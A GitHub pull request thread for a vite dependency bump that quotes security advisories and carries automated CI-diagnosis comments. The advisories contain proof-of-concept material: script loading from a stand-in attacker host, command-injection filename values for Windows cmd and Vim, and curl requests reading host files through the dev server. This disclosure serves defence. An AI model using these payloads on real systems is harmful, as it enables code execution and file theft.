[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
vite (source)	6.4.3 → 6.4.4

---

launch-editor: fs.existsSync() existence check can be bypassed on Windows

CVE-2026-112942 / GHSA-587h-7wmj-h5pm

More information

Details

Summary

launch-editor checked fs.existsSync(fileName) before passing a supplied path to an editor command. On Windows, an attacker can bypass this check with a crafted path ending in \\..:line:column. This removes the requirement that the attacker be able to place a file with a malicious filename.

Combined with the % escaping issue described in GHSA-698v-4r3x-3vcv, this bypass can lead to OS command injection when an attacker controls the file argument.

Impact

Only apps that runs on Windows is affected.

Details

The earlier advisory assumed that fs.existsSync() required an attacker-controlled filename to exist. This advisory covers a bypass of that requirement.

A crafted value ending in \\..:1:1 is interpreted differently by launch-editor-middleware, launch-editor, and Windows:

1. launch-editor-middleware calls path.resolve() while the final path component is ..:1:1, so it is not treated as a parent-directory component.
2. launch-editor treats :1:1 as a line-and-column suffix and removes it, leaving a path ending in \\...
3. On Windows, fs.existsSync() accepts the resulting path as the existing parent directory even though the attacker-controlled preceding component does not exist.
4. Because the existence check passes, the crafted filename reaches the Windows shell command.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/launch-editor/security/advisories/GHSA-587h-7wmj-h5pm
• https://nvd.nist.gov/vuln/detail/CVE-2026-112942
• https://github.com/vitejs/launch-editor/commit/f13cd835d4b8e860b1d4d080ad8a490cc2463679
• https://github.com/vitejs/launch-editor
• https://github.com/vitejs/launch-editor/releases/tag/v2.14.2

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

launch-editor: escapeCmdArgs() omits % escaping on Windows

CVE-2026-112943 / GHSA-698v-4r3x-3vcv

More information

Details

Summary

launch-editor did not escape % on Windows when passing an argument to cmd. When an environment variable contained a malicious value, it was possible that that content to be executed.

Impact

Only apps that match all of the following conditions are affected:

• The user uses Windows
• An attacker can place a file with the malicious filename containing & or %
• Either of
  • An attacker can inject an environment variable with a malicious value
  • An attacker can add a NTFS alternate data stream to the file placed

Details

Unlike .sh files, .bat / .cmd files on Windows cannot be called directly using child_process.spawn and requires passing them as an argument of cmd.exe. To do so, launch-editor escapes the arguments passed to cmd.exe. But launch-editor did not escape % which is used for environment variables.

Because launch-editor checks if the argument matches an existing filename, the attack requires the attacker to be able to place a file.

• If the attacker can inject an environment variable as well, they can include the subcommand in the env variable (e.g. set &calc.exe to %ENV%) and call launchEditor with something%ENV%.
• If the attacker can place a NTFS alternate data stream to the file (e.g. a NTFS alternate data stream named ~-38%calc.exe), they can call launchEditor with something %CMDCMDLINE:~-38%calc.exe.
• If the attacker can create a filename containing the %CD% and the subcommand (e.g. &calc.exe ), they can call launchEditor with ./%CD%

Severity

• CVSS Score: 6.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/launch-editor/security/advisories/GHSA-698v-4r3x-3vcv
• https://nvd.nist.gov/vuln/detail/CVE-2026-112943
• https://github.com/vitejs/launch-editor/pull/155
• https://github.com/vitejs/launch-editor/commit/3c2f9bf2ff8fe63d056a8f9cc52d825b66ca79fc
• https://github.com/vitejs/launch-editor
• https://github.com/vitejs/launch-editor/releases/tag/v2.14.2

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Vite: Cross origin script execution through Vite custom middleware

CVE-2026-112945 / GHSA-9jrq-w75r-8gcw

More information

Details

Summary

When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.

Impact

Only apps that match the following conditions are affected:

• the dev server passes an unchanged browser request URL to server.transformIndexHtml: this is normally used for server.middlewareMode: true or appType: 'custom'. The internal call for appType: 'spa' and appType: 'mpa' does not match this.
• the transformed HTML contains an inline module script
• from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions

Details

Vite's SSR guide for 8.2.1 documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:

const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)

For a development server at http://localhost:5173, an attacker can send this URL:

http://localhost:5173//evil.example/payload.js?/../../package.json

In Vite 8.2.1, createDevHtmlTransformFn and getHtmlFilename in indexHtml.ts use the request URL as both the transform path and the input to path.join. The value passed to path.join still includes its query text.

Chromium preserves /../../package.json because it follows ? and is therefore query text. Vite treats the same characters as filesystem path components, so the .. components resolve the derived filename to the existing project package.json.

The existing file branch in indexHtml.ts checks that filename with fs.existsSync, then preserves the htmlPath supplied by the attacker as proxyModuleUrl. The inline module rewrite in the same file writes that value into the generated src:

<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>

The generated value is a valid URL. Its leading // tells the browser to request the module from evil.example using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.

PoC

import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'

const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
  pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
  viteModule.createServer ?? viteModule.default.createServer

// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html = '<script type="module">document.body.textContent = "Vite app"</script>'

const listen = (server, port = 0) =>
  new Promise((resolve, reject) => {
    server.once('error', reject)
    server.listen(port, '127.0.0.1', () => {
      server.off('error', reject)
      resolve(server.address().port)
    })
  })

const close = (server) =>
  new Promise((resolve, reject) => {
    server.close((error) => (error ? reject(error) : resolve()))
  })

let attackerRequest = null
const attacker = createHttpServer((request, response) => {
  attackerRequest = request.url
  response.writeHead(200, {
    'access-control-allow-origin': '*',
    'content-type': 'text/javascript',
  })
  response.end(
    "document.documentElement.dataset.viteXssPoc = 'executed'",
  )
})

const vite = await createViteServer({
  appType: 'custom',
  configFile: false,
  root: directory,
  server: {
    hmr: false,
    middlewareMode: true,
    watch: null,
  },
})

const application = createHttpServer((request, response) => {
  vite.middlewares(request, response, async (error) => {
    if (error) {
      response.destroy(error)
      return
    }

    try {
      const transformed = await vite.transformIndexHtml(request.url, html)
      response.writeHead(200, { 'content-type': 'text/html' })
      response.end(transformed)
    } catch (transformError) {
      response.destroy(transformError)
    }
  })
})

await listen(attacker, attackerPort)
const applicationPort = await listen(application)
const browser = await chromium.launch({ headless: true })

try {
  const page = await browser.newPage()
  await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)
  await page.waitForFunction(
    () => document.documentElement.dataset.viteXssPoc === 'executed',
  )

  console.log(`attacker request: ${attackerRequest}`)
  console.log('JavaScript from the attacker server executed in the Vite page')
} finally {
  await browser.close()
  await close(application)
  await vite.close()
  await close(attacker)
}

Observed output on Vite 8.2.1:

attacker request: /payload.js?/../../package.json?html-proxy&index=0.js
JavaScript from the attacker server executed in the Vite page

Severity

• CVSS Score: 2.1 / 10 (Low)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-9jrq-w75r-8gcw
• https://nvd.nist.gov/vuln/detail/CVE-2026-112945
• https://github.com/vitejs/vite/pull/23653
• https://github.com/vitejs/vite/commit/7dafd8e56f152403a3230608fa4005273c2e9e17
• https://github.com/vitejs/vite

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

launch-editor: Editor CLI flag misinterpretation causing arbitrary command execution for some editors

CVE-2026-112944 / GHSA-r825-w8mm-5pxw

More information

Details

Summary

launch-editor forwarded file paths directly to editors without sanitization. If a path resembles a CLI flag, editors like Vim may interpret it as a command, potentially causing unintended file overwrites or command execution.

Impact

Direct launch-editor users

Only apps that match all of the following conditions are affected:

• The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
• The user uses or the app specifies any of the following editors:
  • Vim (including gVim)
  • MacVim
  • Emacs (including Emacsclient)
  • Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
• The first argument of launchEditor can start with + or - or the user is using WSL

launch-editor-middleware users

Only apps that match the following conditions are affected:

• The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
• The user uses or the app specifies any of the following editors:
  • Vim (including gVim)
  • MacVim
  • Emacs (including Emacsclient)
  • Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
• launch-editor older than v2.2.0 is used, or the user is using WSL

Vite users

Only apps that match the following conditions are affected:

• The attacker is able to create a file system entry (e.g. a file or directory) starting with + or - in the working directory
• The user uses or the app specifies any of the following editors:
  • Vim (including gVim)
  • MacVim
  • Emacs (including Emacsclient)
  • Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)
• The user is using WSL

Details

launchEditor(file) function passes the file name as-is to the editor if the file with that file name exists. If the file name starts with - (also + for Vim), the editor treats them as flags rather than positional arguments. For example, Vim treats arguments starting with + as an Ex command. As a result, an existing relative directory such as:

+call writefile(["SAFE_MARKER"],"LAUNCH_EDITOR_MARKER")|qa!

is not treated as a filename when passed to Vim. Vim executes the embedded Ex command.

The following editor has a potentially destructive operation exposed to the CLI arguments:

• Vim (including gVim)
• MacVim
• Emacs (including Emacsclient)
• Notepad++ (only if using a plugin exposing dangerous operations via plugin messages)

launch-editor-middleware v2.2.0+ converts the passed file path to an absolute path so those are not affected as long as the user is not using WSL. For WSL, launch-editor converts the paths to relative paths internally, so those are still affected.

Vite 2.0.0+ uses launch-editor-middleware v2.2.0+ so the WSL users are only affected.

Severity

• CVSS Score: 6.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/launch-editor/security/advisories/GHSA-r825-w8mm-5pxw
• https://nvd.nist.gov/vuln/detail/CVE-2026-112944
• https://github.com/vitejs/launch-editor/pull/156
• https://github.com/vitejs/launch-editor/commit/f6e6701bb1f16f2dd242b321374f1b6cca6eb6d4
• https://github.com/vitejs/launch-editor
• https://github.com/vitejs/launch-editor/releases/tag/v2.14.2

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Vite: Files outside server.fs.allow could be served when project paths match system paths on non-Windows machine

CVE-2026-112946 / GHSA-rq7h-c2jc-7f22

More information

Details

Summary

The content of files outside server.fs setting can be returned to the browser if the project imports a file path concatenated with the root. For example, if the project references <path-to-project-root>/etc/hosts, the content of /etc/hosts was possible to be returned.

The content of files outside the server.fs.allow option can be returned to the browser when a project imports a file whose root-relative path matches an absolute path on the host. For example, referencing <project-root>/etc/hosts could make Vite return the host's /etc/hosts file.

Impact

Only apps that meet all of the following conditions are affected:

• explicitly expose the Vite dev server to the network (using --host or the server.host option)
• contain an imported file whose root-relative browser URL is also the absolute path of a readable file on the host
• The sensitive file is not matched by server.fs.deny
• the dev server is not running on Windows

Details

When Vite analyzes an in-root import, it rewrites the resolved module ID to a browser URL such as /etc/hostname. In affected versions, Vite converts that URL with fsPathFromUrl and adds the result to safeModulePaths. Because fsPathFromUrl ensures a leading slash without resolving the URL against the project root, the project URL /etc/hostname is recorded as if it were the absolute filesystem path /etc/hostname.

For a later request to /@fs/etc/hostname, the raw-filesystem middleware interprets /etc/hostname as an absolute path. The access check applies server.fs.deny, then accepts paths present in safeModulePaths before checking server.fs.allow. As a result, the request can return the host file instead of the project file that originally populated safeModulePaths.

PoC

The following example requires Linux with a readable /etc/hostname:

$ mkdir vite-safe-module-path-poc
$ cd vite-safe-module-path-poc
$ npm init -y
$ npm install vite@8.3.1
$ mkdir -p etc
$ echo 'PROJECT-DECOY\n' > etc/hostname
$ echo 'import "./etc/hostname"\n' > main.js
$ npx vite --host 127.0.0.1

In another terminal:

$ curl -o /dev/null -s -w '%{http_code}\n' http://127.0.0.1:5173/main.js
200
$ curl -sS -o response -w '%{http_code}\n' http://127.0.0.1:5173/@fs/etc/hostname
200
$ cmp -s response /etc/hostname && echo 'response matches host file'
response matches host file

Severity

• CVSS Score: 6.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/vitejs/vite/security/advisories/GHSA-rq7h-c2jc-7f22
• https://nvd.nist.gov/vuln/detail/CVE-2026-112946
• https://github.com/vitejs/vite/pull/23656
• https://github.com/vitejs/vite/commit/170b92791421bcd484f7325936d989a82d6bd4aa
• https://github.com/vitejs/vite/commit/45c0e3392a298626955a0ab93a8e51232daac721
• https://github.com/vitejs/vite/commit/c3e06f92e969952466b4e2f5801e85e1e00cd905
• https://github.com/vitejs/vite/commit/e570d8d016096b5f8f6f09808376ca6cf73f27d0
• https://github.com/vitejs/vite/commit/f0d76c7da13d5e794807b82f0b86c1931a8438e3
• https://github.com/vitejs/vite

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

vitejs/vite (vite)

v6.4.4

Compare Source

Please refer to CHANGELOG.md for details.

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[changeset-bot]

⚠️ No Changeset found

Latest commit: bf05c60

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

[chatgpt-codex-connector]

Codex Review Summary

This comment shows the latest Codex review activity on this pull request.

Review	Status	Commit	Review trigger
📝 Code Review	✅ Completed 2026-10-22T17:01:44.184814Z	bf05c60	New commits

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

• Open a pull request for review
• Mark a draft as ready
• Comment "@codex review" or "@codex security review".

Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings.

[github-actions]

size-limit report 📦

Path	Size
require('@celo/actions') (cjs)	98.85 KB (0%)
import * from '@celo/actions' (esm)	23.55 KB (0%)
import { resolveAddress } from '@celo/actions' (esm)	23.49 KB (0%)
import { getGasPriceOnCelo } from '@celo/actions' (esm)	73 B (0%)
import { getAccountsContract } from '@celo/actions/contracts/accounts' (esm)	46.11 KB (0%)
import * from '@celo/actions/staking' (esm)	50.66 KB (0%)

[codecov]

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 68.78%. Comparing base (b48cea3) to head (bf05c60).

Additional details and impacted files

@@            Coverage Diff             @@
##           master     #799      +/-   ##
==========================================
- Coverage   69.14%   68.78%   -0.37%     
==========================================
  Files         199      152      -47     
  Lines       11087     8838    -2249     
  Branches     1985     1640     -345     
==========================================
- Hits         7666     6079    -1587     
+ Misses       3333     2688     -645     
+ Partials       88       71      -17     

Components	Coverage Δ
celocli	∅ <ø> (∅)
sdk	67.34% <ø> (ø)
wallets	73.68% <ø> (ø)
viem-sdks	94.15% <ø> (ø)

🚀 New features to boost your workflow:

• ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
• 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

[pahor167]

Dependency sweep status (head a1a4bb0, lockfile-only vite 6.4.3 → 6.4.4, current with master, Codex 👍 on this head):

The red CeloCli Tests (Anvil) job is not caused by this PR. master fails the same way today: I re-ran master's own Build & Test for b48cea3 and it fails the identical test with the identical revert — https://github.com/celo-org/developer-tooling/actions/runs/37593205959/job/119037112507. vite is only reached through vitest, and General vitest is green here. Locally on this head yarn install --immutable, yarn build, yarn fmt:diff, yarn lint, yarn check-licenses, the vitest suites of @celo/core, @celo/actions and @celo/viem-account-ledger, and both size budgets all pass.

Root cause: wall-clock drift of the devchain fixture. releasegold:withdraw cmd › can withdraw released celo to beneficiary (packages/cli/src/commands/releasecelo/withdraw.test.ts) does timeTravel(MONTH * 3 + DAY) relative to real time and then kit.getTotalBalance(...), which calls balanceOf on every stable token. In the @celo/devchain-anvil 13.0.0-canary.11 L2 state, cUSD (0x20FE…9c1) has factorLastUpdated = 1752057734 (2025-07-09) and updatePeriod = 47304000 (1.5 years), so shouldUpdateInflationFactor() becomes true once block time ≥ 1799361734 (2027-01-07). Since 2026-10-09, "now + 91 days" is past that line, so _getUpdatedInflationFactor calls the fractionMulExp precompile, which does not exist on the L2 anvil chain; the staticcall returns empty data and getBytes32FromBytes reverts with slicing out of range. The last green run of this job was 2026-10-08 (on #798); every run since 2026-10-20 fails, on this PR and on master. (The second run on this head additionally hit Anvil exited: Error: Address already in use on several suites, which is a stale anvil on the runner, not code.)

A human needs to fix this on master, because it is a test-harness change the automated sweep may not make: for example pin anvil's clock to the fixture in testWithAnvil (packages/dev-utils/src/anvil-test.ts, CreateAnvilOptions.timestamp, so timeTravel is relative to the state's block time instead of wall-clock), or regenerate the devchain state. Once master is green, this PR only needs a rebase and the sweep will take it through CI, Codex and merge on its own. @pahor167

[pahor167]

Dependency sweep status (head a1a4bb0, current with master; nothing pushed, no code change needed on this PR):

Size checks (core/actions) — fixed by clearing stale CI caches, now green (attempt 4 of run 39700259969). Root cause: the code-<merge-sha> artifacts cache carries .yarn/install-state.gz; it was created on 2026-10-20 under Node 24.22.0, and Yarn mixes the Node version into its global build hash. Once the runner image moved to 24.22.1, every yarn install that reused that state (the base-branch install inside size-limit-action, which runs on a runner without build-essential) decided every native package "must be rebuilt". node-hid@2.1.2 then failed because prebuild-install@7.1.1 → napi-build-utils@1.0.2 compares N-API versions as strings ('3' <= '10' is false), so no prebuilt is found and it falls back to node-gyp (not found: make). The stale state was sticky because the install job restores the code- cache after yarn install/yarn build and the node cache is saved afterwards. Deleting both the node-…-<lockhash> and code-<merge-sha> entries and re-running the workflow rebuilt a consistent state. Two follow-ups for a human (outside the sweep's remit, both workflow/master-side): (1) re-resolve prebuild-install to 7.1.3 on master (yarn up -R prebuild-install; semver-compatible, pulls napi-build-utils@2.0.0) so node-hid downloads its prebuilt binary instead of needing a compiler; (2) add the Node version to the node-… cache key or bump NODE_MODULE_CACHE_VERSION whenever the runner's Node changes, otherwise this recurs on the next Node patch release.

Still red, and this is why the PR is not merged: CeloCli Tests (Anvil) › releasegold:withdraw cmd › can withdraw released celo to beneficiary reverts with execution reverted: slicing out of range on balanceOf (job https://github.com/celo-org/developer-tooling/actions/runs/39700259969/job/119652441434). It fails identically on master (run 37593205959, re-run today, attempt 5) and on every run of this PR since 2026-10-20, with a fresh anvil fork each time, while the same job passed on 2026-10-08 on #798's head, which contains the same master commit. No master commit happened in between, so this is environmental (anvil fork/chain state), not this PR. The sweep does not merge while the gating workflow is red on master. codecov/project is a knock-on of the missing celocli coverage.

@pahor167 once CeloCli Tests (Anvil) is green on master again, the next sweep run will take this PR through review and merge; everything else (CI, Codex 👍 on a1a4bb0, local build/lint/tests/size) is green.

[pahor167]

Dependency sweep status for this PR (head bf05c60, contains current master, Codex 👍 on this head):

Verified locally on this head: yarn install --immutable, yarn build, yarn fmt:diff, yarn lint, yarn check-licenses, the General vitest suites (@celo/actions, @celo/core, @celo/viem-account-ledger, which are the only consumers of vite), the General jest suites, the wallet suites, yarn docs and both size budgets all pass. The lockfile resolves vite to 6.4.5 after Renovate's latest rebase, which covers the advisory in the PR body.

Why it is not merged: CeloCli Tests (Anvil) fails on this head (https://github.com/celo-org/developer-tooling/actions/runs/39874697303/job/120239660842), and the same job fails on master at b48cea3 with no code change in between (https://github.com/celo-org/developer-tooling/actions/runs/37593205959/job/119639017705). This has nothing to do with vite; it is a calendar problem in the anvil devchain.

Root cause: releasegold:withdraw cmd › can withdraw released celo to beneficiary does timeTravel(MONTH * 3 + DAY) (91 days) and then calls kit.getTotalBalance(beneficiary), which queries balanceOf on every stable token. Anvil mines new blocks at wall-clock time, and in @celo/devchain-anvil@13.0.0-canary.11 (l2-devchain.json) the legacy StableToken contracts for cUSD (0x20FE3FD8…), cEUR and cREAL (0xB2Fd9852…) still carry inflation state: updatePeriod = 47304000 s (547.5 days) and factorLastUpdated = 1752057734 (2025-07-09T10:42:14Z), so the next inflation update is due at 2027-01-07T22:42:14Z. Once chain time passes that point, balanceOf recomputes the inflation factor through the fractionMulExp precompile, which does not exist on anvil, so the empty return trips the "slicing out of range" guard in UsingPrecompiles.getBytes32FromBytes. Wall clock + 91 days crossed the threshold on 2026-10-08T22:42Z, which is exactly between the last green run of this job (2026-10-07) and the first red one (2026-10-20). Any other suite that time-travels three months or more on this devchain will fail the same way from now on, and from 2027-01-07 every stable-token balanceOf on the devchain will fail without any time travel.

Reproduced locally with:

anvil --load-state node_modules/@celo/devchain-anvil/l2-devchain.json --port 18599
cast call 0x000000000000000000000000000000000000ce10 'getAddressForString(string)(address)' StableToken --rpc-url http://127.0.0.1:18599
cast call 0x20FE3FD86C231fb8E28255452CEA7851f9C5f9c1 'getInflationParameters()(uint256,uint256,uint256,uint256)' --rpc-url http://127.0.0.1:18599
cast rpc evm_increaseTime 7862400 --rpc-url http://127.0.0.1:18599 && cast rpc evm_mine --rpc-url http://127.0.0.1:18599
cast call 0x20FE3FD86C231fb8E28255452CEA7851f9C5f9c1 'balanceOf(address)(uint256)' 0x6Ecbe1DB9EF729CBe972C83Fb886247691Fb6beb --rpc-url http://127.0.0.1:18599
# -> execution reverted: slicing out of range

What would fix it: this needs a change on master, outside this PR: either regenerate the @celo/devchain-anvil snapshot so the stable tokens no longer carry a pending inflation update (the inflation rate is already 1, so factorLastUpdated far in the future or a StableTokenV2 deployment both work), or pin the anvil chain time in testWithAnvilL2 so it does not track the wall clock. Both touch test infrastructure rather than a dependency, so the automated sweep will not make that change. @pahor167 once CeloCli Tests (Anvil) is green on master, the sweep will rebase this PR and take it through CI, Codex and merge on its next run.

[pahor167]

Dependency sweep: handing this PR to a human (head bf05c60, current with master). @pahor167

What fails: CeloCli Tests (Anvil), one test: src/commands/releasecelo/withdraw.test.ts › releasegold:withdraw cmd › can withdraw released celo to beneficiary. The call kit.getTotalBalance(beneficiary) after timeTravel(MONTH * 3 + DAY) reverts in balanceOf on the devchain StableTokenBRL (0xB2Fd9852Ca3D69678286A8635d661690906A3E9d) with execution reverted: slicing out of range (job: https://github.com/celo-org/developer-tooling/actions/runs/39874697303/job/120239660842). codecov/project is red only because that job's coverage upload is missing.

Not caused by this PR. The identical test fails on master itself: the master run for b48cea3 passed this job on 2026-10-07 (attempt 1) and fails it on the same commit since 2026-10-21 (attempts 4 and 5, https://github.com/celo-org/developer-tooling/actions/runs/37593205959). Every Build & Test run since 2026-10-20 shows the same failure.

Root cause (verified locally): it is wall-clock dependent. Against a bare anvil --load-state node_modules/@celo/devchain-anvil/l2-devchain.json (13.0.0-canary.11), balanceOf on 0xB2Fd98… returns 0 for every block timestamp up to 2027-01-02 and reverts with slicing out of range from 2027-01-09 onward (stepped in 7-day increments with evm_increaseTime). The test moves the chain 3 months + 1 day past the current date, so from roughly 2026-10-08 on, every run lands past that threshold. It reproduces with anvil 1.0.0 locally as well as v1.2.3 in CI, so it is the devchain state (most likely a time-based inflation/oracle path in that StableToken implementation), not the anvil version.

What would fix it: either a refreshed @celo/devchain-anvil state in which StableTokenBRL does not revert past that date, or a change to the test setup (for example not summing every stable-token balance through kit.getTotalBalance after the 3-month time travel). Both are changes to the test fixture or test code on master, which this sweep is not allowed to make, and neither belongs in a lockfile-only vite bump.

The PR itself: lockfile-only, vite 6.4.3 → 6.4.5 (the title says 6.4.4; the lockfile resolves 6.4.5). Locally on this head: yarn install --immutable, yarn build, yarn fmt:diff, yarn lint, yarn check-licenses, the jest, vitest and wallet suites, yarn docs and both size budgets are green. In CI every other job is green and Codex gave a 👍. Once master's CeloCli Tests (Anvil) is green again, rerunning CI here should be enough to merge.